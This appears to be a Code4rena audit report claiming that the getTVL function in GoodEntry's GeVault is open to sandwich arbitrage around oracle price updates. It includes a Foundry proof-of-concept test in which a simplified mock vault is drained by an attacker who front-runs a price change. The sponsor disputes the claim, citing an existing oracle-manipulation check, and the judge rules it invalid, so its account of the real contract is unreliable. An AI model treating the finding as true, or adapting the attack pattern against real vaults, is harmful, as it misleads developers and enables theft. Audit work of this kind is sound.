getTVL is susceptible to sandwich arbitrage by price

[code423n4]

Lines of code

https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L396

Vulnerability details

Impact

getTVL get the total value of the tick's lp and participate in the calculation of exchangeRate. As a result, price updates can be easily attacked by sandwich. Attackers can use exchangeRate updates to carry out sandwich arbitrage and steal all the funds, and other users will not be able to withdraw.

Proof of Concept

The POC below provides a simplified utilization code. The attacker used the sandwich to buy low and sell high to steal the tokens in the vault and when other users withdrew, the balance was insufficient.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "openzeppelin/token/ERC20/ERC20.sol";

contract Oracle {
    uint256 answer;

    function latestAnswer() external view returns (uint256) {
        return answer;
    }

    function setLatestAnswer(uint256 price) external {
        answer = price;
    }
}

contract TestGetTVLSandwichArbitrage is Test, ERC20 {
    Oracle oracle;

    constructor() ERC20("", "") {}

    function setUp() public {
        oracle = new Oracle();
        oracle.setLatestAnswer(1e8);
    }

    function withdraw(uint liquidity) public returns (uint amount) {
        require(liquidity <= balanceOf(msg.sender), "GEV: Insufficient Balance");
        require(liquidity > 0, "GEV: Withdraw Zero");

        uint vaultValueX8 = getTVL();
        uint valueX8 = vaultValueX8 * liquidity / totalSupply();

        _burn(msg.sender, liquidity);
        payable(msg.sender).call{value: valueX8}("");
    }

    function deposit() public payable returns (uint liquidity) {    
        uint vaultValueX8 = getTVL();
        uint tSupply = totalSupply();
        uint valueX8 = msg.value;
        // initial liquidity at 1e18 token ~ $1
        if (tSupply == 0 || vaultValueX8 == 0)
            liquidity = valueX8 * 1e10;
        else {
            liquidity = tSupply * valueX8 / vaultValueX8;
        }

        require(liquidity > 0, "GEV: No Liquidity Added");
        _mint(msg.sender, liquidity);    
    }

    function getTVL() public view returns (uint valueX8){
        return totalSupply() * oracle.latestAnswer() / 1e18;
    }

    function testSandwichOracleUpdateAttack() public {
        address user = makeAddr("User");
        address attacker = makeAddr("Attacker");
        deal(address(this), 0);
        deal(user, 1 ether);
        deal(attacker, 10 ether);

        // 1. User deposit
        vm.prank(user);
        uint256 userLiquidity = this.deposit{value: address(user).balance}();

        // 2. Attacker frontrun to deposit
        vm.startPrank(attacker);
        uint256 liquidity = this.deposit{value: address(attacker).balance}();

        // 3. Oracle update
        oracle.setLatestAnswer(1.1e8);

        // 4. Attacker withdraw
        this.withdraw(liquidity);
        vm.prank(user);
        this.withdraw(userLiquidity);

        assertEq(address(attacker).balance, 11 ether);
        assertEq(address(user).balance, 0);
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

External price variables should not be used for exchangeRate calculations

Assessed type

MEV

[c4-sponsor]

Keref marked the issue as sponsor disputed

[Keref]

There is no exchangeRate, and when getTVL() value is used for liquidity calculation purposes deposit/withdraw, there is an explicit price manipulation check require(poolMatchesOracle(), "GEV: Oracle Error");

[c4-judge]

gzeon-c4 marked the issue as unsatisfactory: Invalid